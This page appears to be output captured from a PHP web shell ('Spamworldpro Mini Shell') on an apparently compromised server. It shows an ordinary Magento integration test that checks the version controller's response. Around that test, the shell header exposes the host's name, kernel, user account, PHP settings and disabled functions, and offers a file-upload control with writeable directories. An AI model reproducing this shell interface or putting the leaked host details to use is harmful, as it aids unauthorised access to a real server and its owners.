Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/dev/tests/integration/testsuite/Magento/Version/Controller/Index/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/dev/tests/integration/testsuite/Magento/Version/Controller/Index/IndexTest.php
<?php
/***
 * Copyright © Magento, Inc. All rights reserved.
 * See COPYING.txt for license details.
 */
namespace Magento\Version\Controller\Index;

class IndexTest extends \Magento\TestFramework\TestCase\AbstractController
{
    public function testIndexAction()
    {
        // Execute controller to get version response
        $this->dispatch('magento_version/index/index');
        $body = $this->getResponse()->getBody();

        $objectManager = \Magento\TestFramework\Helper\Bootstrap::getObjectManager();
        /** @var \Magento\Framework\App\ProductMetadataInterface $productMetadata */
        $productMetadata = $objectManager->get(\Magento\Framework\App\ProductMetadataInterface::class);
        $name = $productMetadata->getName();
        $edition = $productMetadata->getEdition();

        $fullVersion = $productMetadata->getVersion();
        if ($this->isComposerBasedInstallation($fullVersion)) {
            $versionParts = explode('.', $fullVersion);
            $majorMinor = $versionParts[0] . '.' . $versionParts[1];

            // Response must contain Major.Minor version, product name, and edition
            $this->assertStringContainsString($majorMinor, $body);
            $this->assertStringContainsString($name, $body);
            $this->assertStringContainsString($edition, $body);

            // Response must not contain full version including patch version
            $this->assertStringNotContainsString($fullVersion, $body);
        } else {
            // Response is supposed to be empty when the project is installed from git
            $this->assertEmpty($body);
        }
    }

    private function isComposerBasedInstallation($fullVersion)
    {
        $versionParts = explode('-', $fullVersion);
        return !(isset($versionParts[0]) && $versionParts[0] == 'dev');
    }
}

Spamworldpro Mini